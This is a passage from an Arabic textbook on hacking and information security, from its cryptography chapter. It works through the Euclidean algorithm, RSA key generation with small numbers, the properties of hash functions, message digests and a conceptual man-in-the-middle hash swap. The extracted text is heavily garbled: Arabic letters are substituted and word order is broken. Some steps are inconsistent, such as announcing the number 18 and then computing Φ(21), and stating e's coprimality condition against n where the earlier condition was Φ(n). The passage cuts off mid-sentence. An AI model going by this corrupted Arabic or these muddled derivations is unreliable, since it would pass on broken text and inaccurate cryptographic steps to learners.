‫للعددين‬ ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ،‫ة‬َ‫سم‬‫ق‬
(
48
‫و‬
60
)
‫سيكو‬ ،
‫ن‬
12
.
‫سام‬ُ‫مل‬‫ا‬ ‫اخلاورزمية‬ ‫ذذه‬ ‫نا‬َ‫ل‬ ‫ب‬‫س‬ َ
‫حت‬ َ
‫َيف‬‫ك‬‫و‬
‫ة‬
"
‫لقليدس‬
"
‫ال‬
GCD
‫لعدد‬
‫؟‬..‫أوليني‬ ‫ين‬
‫لقليدس‬ ..‫االسم‬ ‫ذذا‬ ‫مجيل‬

.
“Euclidean Algorithm”
‫ال‬ ‫حساب‬ ‫طريقة‬ ‫يوضح‬ ‫مثال‬ ‫ذذا‬
GCD
‫وذم‬ ،‫بينهم‬ ‫قيام‬ ‫أوليني‬ ‫يكونا‬ ‫أن‬ ‫ض‬َ‫رت‬‫ف‬ُ‫ي‬ ‫لعددين‬
(7253, 120)
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[348]
‫اخلانة‬ ‫يف‬ ‫ة‬َ‫سم‬‫الق‬ ‫باقي‬ ‫ووضع‬ ،‫األصغر‬ ‫العدد‬ ‫عىل‬ ‫ته‬َ‫سم‬‫ق‬ ‫ثم‬ ً‫ال‬‫أو‬ ‫األكرب‬ ‫العدد‬ ‫بوضع‬ ‫الطريقة‬ ‫تتلخص‬
R
،
‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬
‫اخلانة‬ َ
‫ت‬ َ
‫حت‬ ‫األصغر‬ ‫العدد‬ ‫َقل‬‫ن‬‫ب‬
A
‫ال‬ ‫َقل‬‫ن‬‫و‬ ،
R
‫َة‬‫ن‬‫ا‬َ‫خل‬‫ا‬ َ
‫ت‬ َ
‫حت‬ ‫األول‬
B
‫ال‬ ‫ة‬َ‫سم‬‫ق‬ ‫م‬ُ‫ث‬ .
120
‫ال‬ ‫عىل‬
53
ً‫ة‬‫مر‬ ‫الباقي‬ ‫ووضع‬
‫اخلانة‬ ‫حتت‬ ‫أطرى‬
R
..‫وذكذا‬ ‫الباقي‬ ‫ووضع‬ ‫القسمة‬ ‫ثم‬ ‫النقل‬ ‫عملية‬ ‫لجراء‬ ‫ثم‬ ،
‫لىل‬ ‫نصل‬ ‫أن‬ ‫لىل‬
(
2 /1 = 2
)
‫وذذا‬ ،
‫يع‬
‫القسم‬ ‫بعد‬ ‫الباقي‬ ‫أن‬ ‫ني‬
!‫صفر‬ = ‫ة‬
.
‫ال‬ ‫قيكون‬
GCD
‫ال‬ ‫قيمة‬ ‫ذو‬
R
‫القيمة‬ ‫ذذه‬ ‫كانت‬ ‫قإن‬ ،ً‫ة‬‫بارش‬ُ‫م‬ ‫الصفر‬ ‫ق‬‫َسب‬‫ت‬ ‫التي‬
=
1
،
‫العددان‬ ‫ذذان‬ ‫أن‬ ‫يعني‬ ‫قهذا‬
.‫أوليان‬
..‫نعود‬‫ل‬
.‫أوليني‬ ‫عددين‬ ‫اطتيار‬ ‫ذي‬ ‫ططوة‬ ‫أول‬ ‫أن‬ ‫لنا‬ُ‫ق‬
‫قيمة‬ ‫حساب‬ ‫ذي‬ ‫الثانية‬ ‫واخلطوة‬
n
،
‫حيث‬
n = p . q
‫ال‬ ‫ذذا‬ ‫ما‬
"
n
‫؟‬.."
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[349]
‫استخد‬ ‫سيتم‬ ‫عدد‬ ‫لنه‬
‫امه‬
"
‫ل‬‫عام‬ُ‫كم‬
"
‫ال‬ ‫عادلة‬ُ‫م‬ ‫يف‬ ‫ل‬ ُ
‫دط‬َ‫ي‬ َ
‫س‬ ُ‫ه‬‫أن‬ ‫أي‬ ،‫التشفري‬ ‫قك‬ ‫وأثناء‬ ‫التشفري‬ ‫أثناء‬
Public Key
‫وال‬ ،
Private Key
.)..‫قليل‬ ‫بعد‬ ‫لليه‬ ‫(سنأيت‬ .
‫والثالث‬
‫ة‬
‫ال‬ ‫حساب‬ ‫ذي‬
“Euler’s totient function, Φ(n)”
‫الصحيح‬ ‫األعداد‬ ‫عدد‬ ‫أهنا‬ ‫عىل‬ ‫تعريفها‬ ‫ويتم‬
‫ة‬
‫العدد‬ ‫عن‬ ‫تقل‬ ‫التي‬ ‫املوجبة‬
n
،
:‫الرشط‬ ‫ذذا‬ ‫قق‬ ُ
‫وحت‬
“they should be relatively prime to n”
:‫مثال‬ ‫نأطذ‬ ‫دعنا‬
‫ة‬َ‫يم‬‫ق‬ ‫ساب‬‫ح‬ ‫ُريد‬‫ن‬
Φ(29)
‫دد‬َ‫ع‬‫ال‬ ‫أن‬ ‫ام‬‫ب‬
29
..‫أويل‬ ‫د‬َ‫د‬َ‫ع‬
:‫أن‬‫ب‬ ‫القول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ..ً‫ا‬‫لذ‬
Φ(29) = 28
:‫أنه‬ ‫بعنى‬ ،
Φ(n) = n – 1
!‫األولية‬ ‫لألعداد‬ ‫ققط‬ ‫وذذا‬
‫أن‬ ‫ام‬‫وب‬
Φ(n)
‫يف‬ ‫كانت‬ ‫ه‬‫ذ‬َ‫ذ‬
‫األساس‬
Φ(p, q)
،
:‫أن‬‫ب‬ ‫القول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬‫ق‬
Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1)
:‫ثال‬‫م‬ ‫ذ‬ ُ
‫َأط‬‫ن‬‫ل‬ ‫يا‬َ‫ذ‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[350]
‫العدد‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫ل‬
15
..
‫أن‬ ‫باألعىل‬ ‫اجلدول‬ ‫نا‬ُ‫رب‬ ُ
‫خي‬
Φ(15) = 8
‫أن‬ ‫الحظ‬ ،
15
‫نا‬ُ‫ذ‬ ‫َقول‬‫ن‬ ‫قال‬ ،ً‫ا‬‫أولي‬ ً‫ا‬‫عدد‬ ‫ليس‬
Φ(15) = 14
.
‫ال‬ ‫هلذا‬ ‫ُريد‬‫ن‬
15
‫أن‬
‫ح‬ ‫يكون‬
‫لعددي‬ ‫َضب‬ ‫اصل‬
‫املعادلة‬ ‫رشط‬ ‫ُحقق‬‫ن‬ ‫كي‬ ‫أوليني‬ ‫ن‬
.
‫ِبم‬ َ
‫َض‬ ‫ل‬‫حاص‬ ِّ
‫أوليني‬ ‫عددين‬ ‫أي‬ ‫لنختار‬ ‫ذيا‬
=
15
‫دد‬َ‫ع‬‫ال‬ ‫أن‬ ‫د‬‫َج‬‫ن‬
3
‫د‬َ‫د‬َ‫ع‬‫وال‬
5
‫ِبم‬ َ
‫َض‬ ‫ل‬‫وحاص‬ ِّ
‫أوليني‬ ‫ين‬َ‫د‬َ‫د‬َ‫ع‬
=
15
.ً‫ا‬‫أيض‬
:‫املعادلة‬ ‫ُطبق‬‫ن‬‫ل‬
Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1)
Φ(15) = Φ(5, 3) = (5 – 1) * (3 – 1) = 4 * 2 = 8
ُ‫ُريد‬‫ت‬ ‫أنك‬ ‫يبدو‬
ً‫ال‬‫ثا‬‫م‬
:!‫أس‬َ‫ب‬ ‫ال‬ ..‫آطر‬
‫العدد‬ ‫سأطتار‬ ‫يل‬ ‫ل‬ُ‫ق‬‫ت‬ ‫ال‬
25
‫السبب؟‬ ‫تعرف‬ ‫ذل‬ ..
‫ال‬ ‫يكون‬ َ
‫س‬ ‫احلالة‬ ‫ذذه‬ ‫يف‬ ‫ألن‬
p = 5
‫وال‬ ،
q = 5
.!‫فني‬‫تل‬ ُ
‫ُم‬ ‫كونا‬َ‫ي‬ ‫أن‬ ‫يف‬ ‫ط‬ َ
‫للرش‬ ‫ف‬‫ال‬ ُ
‫ُم‬ ‫وذذا‬ ،ً‫ا‬‫أيض‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[351]
‫العدد‬ ‫ُجرب‬‫ن‬‫ل‬
18
..
Φ(21) = Φ(7, 3) = (7 – 1) * (3 – 1) = 6 * 2 = 12
‫أن‬ ‫أظن‬
‫نا‬
‫قهم‬ ‫قد‬
‫نا‬
.!ً‫ا‬‫جيد‬ ‫السابقة‬ ‫اخلطوات‬
‫ال‬ ‫عىل‬ ‫حصولنا‬ ‫وبعد‬ ‫واآلن‬
Φ(n)
‫باطتيار‬ ‫سنقوم‬ ،
‫العدد‬
(e)
،
‫بحيث‬
:‫م‬ُ‫ذ‬ ‫رشطني‬ ‫قق‬ ُ
‫حي‬
-
‫العدد‬ ‫عن‬ ‫العدد‬ ‫ذذا‬ ‫يقل‬ ‫أن‬
Φ(n)
-
‫ال‬ ‫من‬ ً‫ال‬ُ‫ك‬ ‫يكون‬ ‫أن‬
(
e
)
‫وال‬
Φ(n)
،!‫بينهام‬ ‫قيام‬ ‫أوليني‬
‫ذذا؟‬ ‫كيف‬
َ‫ت‬‫َع‬‫ن‬ َ
‫س‬ ..ً‫ا‬‫حسن‬
‫ال‬ ‫أن‬ ‫رب‬
Φ(n) = 160
‫ال‬ ‫من‬ ‫أقل‬ ‫عشوائي‬ ‫عدد‬ ‫باطتيار‬ ‫قنقوم‬ ..
160
.
‫العدد‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫س‬
7
.‫املثال‬ ‫سبيل‬ ‫عىل‬
‫ال‬ ‫باستخدام‬
“Euclidean Algorithm”
:‫ييل‬ ‫كام‬ ‫العددين‬ ‫الطتبار‬
GCD (160, 7)
‫ال‬ ‫أن‬ ‫د‬‫َج‬‫ن‬
GCD = 1
.
‫ال‬ ‫ِبذا‬ ‫سنفعل‬ ‫ماذا‬ ‫ولكن‬ ..‫جيد‬ ‫ذذا‬
(e)
‫؟‬..
‫عادل‬ُ‫م‬ ‫يف‬ ُ‫ه‬‫م‬‫َخد‬‫ت‬‫نس‬ َ
‫س‬
:‫ييل‬ ‫كام‬ ‫التشفري‬ ‫ة‬
‫ذي‬ ‫تشفريذا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ل‬
M
،
‫ستكون‬ ‫شفرة‬ُ‫مل‬‫ا‬ ‫والرسالة‬
C
،
:‫املعادلة‬ ‫قتكون‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[352]
‫ال‬ ‫ذذا‬ ‫تتذكر‬ ‫ذل‬
(n)
..
‫؟‬
.!‫التشفري‬ ‫وقك‬ ‫التشفري‬ ‫لية‬َ‫م‬َ‫ع‬ ‫يف‬ ُ‫ه‬‫م‬‫َخد‬‫ت‬‫نس‬ َ
‫س‬ ‫أننا‬ َ‫وأطربناك‬ ‫الثانية‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫يف‬ ُ‫ه‬‫ن‬َ‫ع‬ ‫تكلمنا‬
‫ال‬ ‫ألن‬ ‫وذذا‬
plaintext
‫س‬ ‫الذي‬
‫ذيئة‬ ‫عىل‬ ُ‫ه‬‫لرسال‬ ‫جري‬َ‫ي‬ َ
‫س‬ ‫تشفريه‬ ‫يتم‬
(Blocks)
،
‫كل‬
block
‫ل‬‫حم‬َ‫ي‬ َ
‫س‬
Binary value
‫العدد‬ ‫ذذا‬ ‫من‬ ‫أقل‬
(n)
‫ال‬ ‫ذذا‬ ‫أن‬ ‫بمعنى‬ ،
ciphertext
‫وال‬ ‫الصفر‬ ‫بني‬ ‫قيمته‬ ‫ستكون‬
(n – 1)
.
‫ال‬ ‫ذذا‬ ،‫حال‬ ‫أي‬ ‫وعىل‬
n
‫عن‬ ‫قيمته‬ ‫تزيد‬ ‫لن‬
(2^1024)
،
"
‫مرقوع‬ ‫لثنني‬
‫ة‬
‫س‬ُ‫أل‬‫ل‬
1024
"
.
‫الك‬ ‫ذذا‬ ‫عىل‬ ً‫ء‬‫نا‬‫ب‬
:‫اآليت‬ ‫نا‬َ‫ل‬ ً‫ا‬‫واضح‬ ‫يبدوا‬ ..‫الم‬
1
.
‫العدد‬ ‫أن‬
n
‫ال‬ ‫من‬ ٍ‫لكل‬ ً‫ا‬‫معروق‬ ‫يكون‬ ‫أن‬ ‫البد‬
Sender
‫وال‬
Receiver
.
2
.
‫العدد‬ ‫وأن‬
e
‫ال‬ ‫ل‬ِّ‫ث‬‫م‬ُ‫ي‬‫س‬ ‫قهذا‬ ،‫ل‬‫رس‬ُ‫للم‬ ً‫ا‬‫معروق‬
Public Key
.‫للتشفري‬ ‫سيستخدمه‬ ‫الذي‬
‫ال‬ ‫ذذا‬
Key
‫عطيه‬ُ‫ي‬‫س‬ ‫الذي‬
.‫ل‬‫ستقب‬ُ‫مل‬‫ا‬ ‫لياه‬
3
.
‫والعدد‬
d
‫سيكون‬ ‫ذذا‬ ،‫ل‬‫ستقب‬ُ‫للم‬ ً‫ا‬‫معروق‬
‫ال‬
Private Key
.‫رة‬‫شف‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫ك‬َ‫ق‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬
‫الصفح‬ ‫يف‬
‫ة‬
‫التالي‬
‫ة‬
:‫السابقة‬ ‫اخلطوات‬ ‫مجيع‬ ‫يوضح‬ ‫حتلييل‬ ‫شكل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[353]
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[354]
..‫الشكل‬ ‫عىل‬ ً‫ء‬‫بنا‬
‫ال‬ ‫يبدأ‬
Generator
‫ال‬ ‫بإنتاج‬
e
‫وال‬
p
‫وال‬
q
‫ال‬ ‫حساب‬ ‫يتم‬ ‫ثم‬ ،
n
،
‫ذذا‬ ‫ولرسال‬
‫ال‬
e
‫وال‬
n
‫شفرة‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫لرسال‬ ‫ريد‬ُ‫ي‬ ‫الذي‬ ‫للشخص‬
‫ال‬ ‫لنتاج‬ ‫معادلة‬ ‫يف‬ ‫استخدامهم‬ ‫يتم‬ ‫حيث‬ ،‫لليه‬
Ciphrtext
‫كام‬
.‫الثانية‬ ‫اخلطوة‬ ‫يف‬ ‫ترى‬
‫م‬ُ‫ث‬
‫طوة‬ُ‫خل‬‫ا‬
‫الثالثة‬
‫ال‬ ‫قيها‬ ‫يقوم‬
Sender
‫ال‬ ‫َجهيز‬‫ت‬‫ب‬
plaintext
.‫ولرساله‬ ُ‫ه‬‫تشفري‬ ‫راد‬ُ‫مل‬‫ا‬
.‫التشفري‬ ‫يف‬ ‫بل‬َ‫ق‬ ‫ن‬‫م‬ َ
‫ك‬َ‫ل‬ ‫ا‬ ُ
‫كرهت‬َ‫ذ‬ ‫التي‬ ‫املعادلة‬ ‫استخدام‬ ‫يتم‬ ‫اخلامسة‬ ‫اخلطوة‬ ‫ويف‬
‫يف‬ ‫ثم‬
‫ال‬ ‫جتهيز‬ ‫يتم‬ ‫السادسة‬ ‫اخلطوة‬
private key
‫ال‬ ‫سيستخدمه‬ ‫الذي‬
Receiver
‫الرسالة‬ ‫قك‬ ‫أجل‬ ‫من‬
‫ال‬ ‫قيها‬ ‫يدطل‬ ‫التي‬ ‫الثانية‬ ‫املعادلة‬ ‫باستخدام‬ ‫شفرة‬ُ‫مل‬‫ا‬
(d)
.
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫حصلت‬ ‫كيف‬ ‫يل‬ ‫ل‬ُ‫ق‬‫ت‬ ‫مل‬ ‫ولكن‬
(d)
‫؟‬..
‫ذذا‬ ‫به‬ ‫سنختم‬ ‫والذي‬ ،‫التايل‬ ‫املثال‬ ‫يف‬ ‫عليه‬ ‫نحصل‬ ‫كيف‬ ‫سأطربك‬ ..!‫صحيح‬ ‫ذذا‬
‫ال‬
“RSA”
.
‫األوليني‬ ‫العددين‬ ‫باطتيار‬ ‫سنقوم‬ :ً‫ال‬‫أو‬
،
p = 17, and q = 11
‫ال‬ ‫بحساب‬ ‫سنقوم‬ :ً‫ا‬‫ثاني‬
n
( ،
n = p * q = 187
)
ً‫ا‬‫لذ‬..
(
(n = 187
‫بحساب‬ ‫سنقوم‬ :ً‫ا‬‫ثالث‬
Φ(n)
:‫النحو‬ ‫ذذا‬ ‫عىل‬
Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) = 16 * 10 = 160
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[355]
‫سنختار‬ :ً‫ا‬‫رابع‬
‫العدد‬
e
.ً‫ا‬‫سابق‬ ‫املذكورين‬ ‫الرشطني‬ ‫ق‬ِّ‫ق‬َ ُ
‫حي‬ ‫بحيث‬
e is relatively prime to n, and e is less than Φ(n). then.. e is (7)
‫طو‬ُ‫خل‬‫ا‬ ‫ذذه‬ :ً‫ا‬‫طامس‬
‫ة‬
‫العدد‬ ‫تحديد‬‫ل‬
(d)
‫ال‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬ ‫والذي‬ ،
Private Key
.‫ة‬ َ‫ر‬‫شف‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫ك‬َ‫ق‬ ‫يف‬ ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬
:‫املعادلة‬ ‫ذذه‬ ‫باستخدام‬ ‫عليه‬ ‫ل‬ ُ
‫نحص‬
(ed – 1) mod (p – 1)(q – 1) = 0
e * d = Φ(n) + 1
7 * d = 160 + 1
d = 161 / 7 = 23
‫ال‬ ‫اآلطر‬ ‫الطرف‬ ‫بإعطاء‬ ‫سنقوم‬ :ً‫ا‬‫سادس‬
Public Key
‫ال‬ ‫وذو‬
(e)
،
‫بال‬ ‫باالحتفاظ‬ ‫وسنقوم‬
Private Key
‫ققط‬ ‫لنا‬
‫ال‬ ‫وذو‬
(d)
.
ً‫ا‬‫سابع‬
‫ال‬ ‫يقوم‬ :
Sender
‫وذي‬ ‫الرسالة‬ ‫بتشفري‬
(88)
‫وي‬ ،‫ولرساهلا‬
‫ال‬ ‫قوم‬
Receiver
‫تشفريذا‬ ‫وقك‬ ‫باستقباهلا‬
:‫املعادالت‬ ‫ذذه‬ ‫باستخدام‬
:‫النحو‬ ‫ذذا‬ ‫وعىل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[356]
‫ال‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
RSA
.
Cryptographic Hash Functions
‫ال‬ ‫ماذذا‬
“Hash Function”
‫؟‬..
‫لهنا‬
Function
‫ُسميها‬‫ن‬
(H)
‫تأطذ‬ ،
input
‫لرساله‬ ‫راد‬ُ‫مل‬‫ا‬ ‫النص‬ ‫وذو‬
(M)
‫ب‬ ‫لتقوم‬ ،
‫إنتاج‬
output
‫ثابت‬ ‫بحجم‬
:
“Fixed-size hash value”
‫ُسميه‬‫ن‬‫س‬
(h)
.
:‫املعادلة‬ ‫ذذه‬ ‫كتابة‬ ‫ُعيد‬‫ن‬‫ل‬ ‫ذيا‬
h = H(M)
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[357]
‫ال‬ ‫ذذه‬
Hash function
‫النص‬ ‫عىل‬ ُ‫ه‬‫لجراؤ‬ ‫م‬‫ت‬َ‫ي‬ ‫َغيري‬‫ت‬ ‫قأي‬ ،‫عالية‬ ‫ة‬ َ‫ج‬َ‫ر‬َ‫د‬‫ب‬ ‫ة‬ َ
‫اس‬ ّ
‫حس‬
(M)
‫ال‬ ‫يف‬ ُ‫ه‬‫ل‬ ‫ل‬‫قاب‬ُ‫م‬ ‫تغيري‬ ‫لىل‬ ‫ؤدي‬ُ‫ي‬ ،
Hash Code
.
‫الر‬ ‫اخلاصية‬ ‫ذي‬ ‫ذذه‬
‫ال‬ ‫ِبا‬ ‫تتميز‬ ‫التي‬ ‫ئيسية‬
Hash Functions
.
‫اخلاصي‬ ‫ذذه‬ ‫من‬ ‫سنستفيد‬ ‫وماذا‬
‫ة‬
‫؟‬
.!‫رحلته‬ ‫أثناء‬ ‫تعديل‬ ‫ألي‬ ‫يتعرض‬ ‫مل‬ ‫لرساله‬ ‫جيري‬ ‫الذي‬ ‫امللف‬ ‫أو‬ ‫النص‬ ‫أن‬ ‫من‬ ‫التأكد‬ ‫يف‬ ‫منها‬ ‫نستفيد‬
‫يبدو‬ ‫الكالم‬ ‫ذذا‬
‫كذلك؟‬ ‫أليس‬ ،!َ‫ا‬‫مألوق‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[358]
‫ال‬ ‫تعريف‬ ‫تتذكر‬ ‫ذل‬
“Data Integrity”
‫به‬ ‫ك‬ ُ‫ِّر‬‫ك‬‫ذ‬ُ‫أ‬ ‫دعني‬.. ‫؟‬
:
Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.
‫ال‬ ‫قائدة‬ ‫عرقت‬ ‫ذل‬ ‫واآلن‬
“Cryptographic Hash Functions”
‫؟‬
‫ال‬ ‫حتقيق‬ ‫وسائل‬ ‫أحد‬ ‫لهنا‬
Data Integrity
.
‫لل‬ ‫األساسية‬ ‫السامت‬ ‫بعض‬ ‫توجد‬
Cryptographic Hash Functions
:

‫ال‬ ‫أن‬ ‫األوىل‬
input
‫ال‬ ‫أن‬ ‫أي‬ ،‫ثابت‬ ‫غري‬
input length
.‫تغري‬ُ‫م‬

‫ال‬ ‫أن‬ ‫والثانية‬
output
‫سيكون‬
Fixed-Size
.

‫والثالث‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫أن‬
Hash Function
‫َرب‬‫ت‬‫ُع‬‫ت‬
“One-way function”
‫أنه‬ ‫يعني‬ ‫وذذا‬ ،
‫ال‬ ‫ة‬َ‫ق‬‫عر‬َ‫م‬ ‫ة‬ّ‫د‬‫ش‬‫ب‬ ‫ب‬ُ‫ع‬‫ص‬َ‫ي‬
input
‫ال‬ ‫عىل‬ ‫اإلطالع‬ ‫الل‬‫ط‬ ‫ن‬‫م‬
output
.!

‫بأهنا‬ ‫زذا‬ُّ‫ي‬َ َ‫مت‬ ‫يف‬ ‫والرابعة‬
“Collision free”
‫أي‬ ‫بني‬ ‫ق‬ُ‫ب‬‫َطا‬‫ت‬ ‫حدوث‬ ‫املستحيل‬ ‫من‬ ‫أنه‬ ‫بمعنى‬ ،
hash values
.
“it is incredibly difficult to find two pieces of data that hash to the same value, and the chances
of it happening by accident are almost 0”.
Message Authentication
‫ال‬ ‫د‬َ‫ع‬ُ‫ت‬
Message Authentication
‫ال‬ ‫تطبيقات‬ ‫أحد‬
“Hash Function”
.
‫ال‬ ‫من‬ ‫للتأكد‬ ‫ُستخدم‬‫ت‬ ُ
‫حيث‬
integrity
‫ال‬ ‫باستخدام‬ ‫َقوم‬‫ن‬ ‫ما‬َ‫ند‬‫وع‬ ،‫لرساهلا‬ ‫يتم‬ ‫التي‬ ‫البيانات‬ ‫أو‬ ‫بالرسالة‬ ‫اخلاصة‬
Hash Function
‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ ،‫ض‬َ‫ر‬َ‫غ‬‫ال‬ ‫ذا‬‫هل‬
“Message Digest”
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[359]
‫ال‬ ‫تعريف‬ ‫ذو‬ ‫قام‬
“Message Digest”
‫؟‬..
“Is the action of generating a unique output value derived from the content of the message”
‫ال‬ ‫ذذا‬ ‫لىل‬ ‫تتحول‬ ‫لن‬ ‫الرسالة‬ ‫أن‬ ‫ظ‬‫الح‬
hash value
..‫ذي‬ ‫كام‬ ‫الرسالة‬ ‫ستظل‬ ،!
‫ل‬‫ث‬‫م‬ ‫يشء‬ ‫لضاقة‬ ‫ققط‬ ‫سيتم‬
notepad
‫الرسال‬ ‫مع‬
‫ة‬
‫ذذ‬ ‫ِبا‬
‫ال‬ ‫ا‬
hash value
.
‫ال‬ ‫نفس‬ ‫بتطبيق‬ ‫ل‬‫ستقب‬ُ‫مل‬‫ا‬ ‫ويقوم‬
Hash Function
‫ُج‬‫ت‬‫قين‬ ،‫الرسالة‬ ‫عىل‬
hash value
‫أتى‬ ‫الذي‬ ‫بذلك‬ ‫قارنته‬ُ‫بم‬ ‫يقوم‬ ،
.‫أجزائه‬ ‫ألحد‬ ‫ضياع‬ ‫أو‬ ‫حذف‬ ‫أو‬ ‫تعديل‬ ‫أي‬ ‫من‬ ‫امللف‬ ‫أو‬ ‫الرسالة‬ ‫ذذه‬ ‫سالمة‬ ‫عىل‬ ‫دليل‬ ‫قهذا‬ ،‫تشاِبا‬ ‫قإن‬ ،‫الرسالة‬ ‫مع‬
‫الرسا‬ ‫ذذه‬ ‫ض‬ ُّ‫ر‬َ‫ع‬َ‫ت‬ ‫ُمكن‬ ‫ذل‬
‫لل‬ ‫لة‬
“Man in the middle attack”
‫؟‬..
..!‫بالطبع‬ ‫ُمكن‬ ‫ذذا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[360]
‫ذلك؟‬ ‫كيف‬
‫ال‬ ‫لىل‬ ‫وصوهلا‬ ‫قبل‬ ‫بالرسالة‬ ‫اإلمساك‬ ‫من‬ ‫أحدذم‬ ‫يتمكن‬ ‫بأن‬
receiver
‫ال‬ ‫بتطبيق‬ ‫يقوم‬ ‫ثم‬ ‫عليها‬ ‫لع‬‫ط‬َ‫ي‬َ‫ق‬ ،
MD5
ً‫ال‬‫مث‬
‫ال‬ ‫واستبدال‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫عليها‬
hash value
‫ا‬ ‫لىل‬ ‫لرساهلا‬ ‫لعادة‬ ‫م‬ُ‫ث‬ ،‫اجلديدة‬ ‫ِبذه‬ ‫القديمة‬
‫ل‬
receiver
.!
‫ذذا‬ ‫يتم‬ ‫كيف‬ ‫أرين‬
MITM
‫؟‬..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[361]
‫اهلجامت؟‬ ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ ‫ّب‬‫ن‬َ‫َج‬‫ت‬َ‫ن‬ ‫وكيف‬
‫ال‬ ‫مع‬ ‫الرسالة‬ ‫بإرسال‬ ‫لنقوم‬ ‫آمنة‬ ‫لطريقة‬ ‫نا‬ُ‫ذ‬ ‫سنحتاج‬
hash value
.‫اآلطر‬ ‫الطرف‬ ‫لىل‬
:‫األوىل‬ ‫الطريقة‬
‫باستخدام‬ ‫سنقوم‬ ‫نا‬ُ‫ذ‬
“Symmetric Algorithm”
‫البيانا‬ ‫لتشفري‬
‫لىل‬ ‫لرساهلا‬ ‫ل‬‫ب‬َ‫ق‬ ‫ت‬
‫اآلطر‬ ‫الطرف‬
،
‫البيانات‬ ‫ذذه‬
‫ال‬ + ‫(الرسالة‬ :‫ستكون‬
hash value
.)
‫وال‬ ‫الرسالة‬ ‫عىل‬ ‫ل‬ ُ
‫حص‬َ‫ي‬‫ل‬ ‫الشفرة‬ ‫ك‬َ‫ف‬‫ب‬ ‫اآلطر‬ ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ‫سيقوم‬ ،‫وصوهلا‬ ‫وعند‬
hash file
.
‫ال‬ ‫تطبيق‬‫ب‬ ‫قوم‬َ‫ي‬ ‫م‬ُ‫ث‬
Hash Function
‫ال‬ ‫قارن‬ُ‫ي‬‫و‬ ‫الرسالة‬ ‫عىل‬
hash value
.‫الرسالة‬ ‫مع‬ ‫القادمة‬ ‫تلك‬‫ب‬ ‫ة‬‫الناجت‬
‫الطريق‬
:‫الثانية‬ ‫ة‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[362]
‫ال‬ ‫باستخدام‬ ‫سنقوم‬ ‫نا‬ُ‫ذ‬
“Symmetric Encryption”
‫ال‬ ‫لتشفري‬
hash code
‫ألي‬ ‫ه‬‫ض‬ ُّ‫َعر‬‫ت‬ ‫م‬َ‫عَد‬ ‫ن‬َ‫َضم‬‫ن‬‫ل‬ ،!‫ققط‬
‫وال‬ ‫الرسالة‬ ‫عىل‬ ‫ل‬ ُ
‫حص‬َ‫ي‬‫ل‬ ‫التشفري‬ ‫فك‬‫ب‬ ‫اآلطر‬ ‫الطرف‬ ‫يقوم‬ َ
‫س‬ ،‫البيانات‬ ‫وصول‬ ‫ند‬‫وع‬ .‫َعديل‬‫ت‬
hash file
‫َفس‬‫ن‬‫ب‬ ‫قوم‬َ‫ي‬َ‫ق‬ ،
‫ال‬ َ
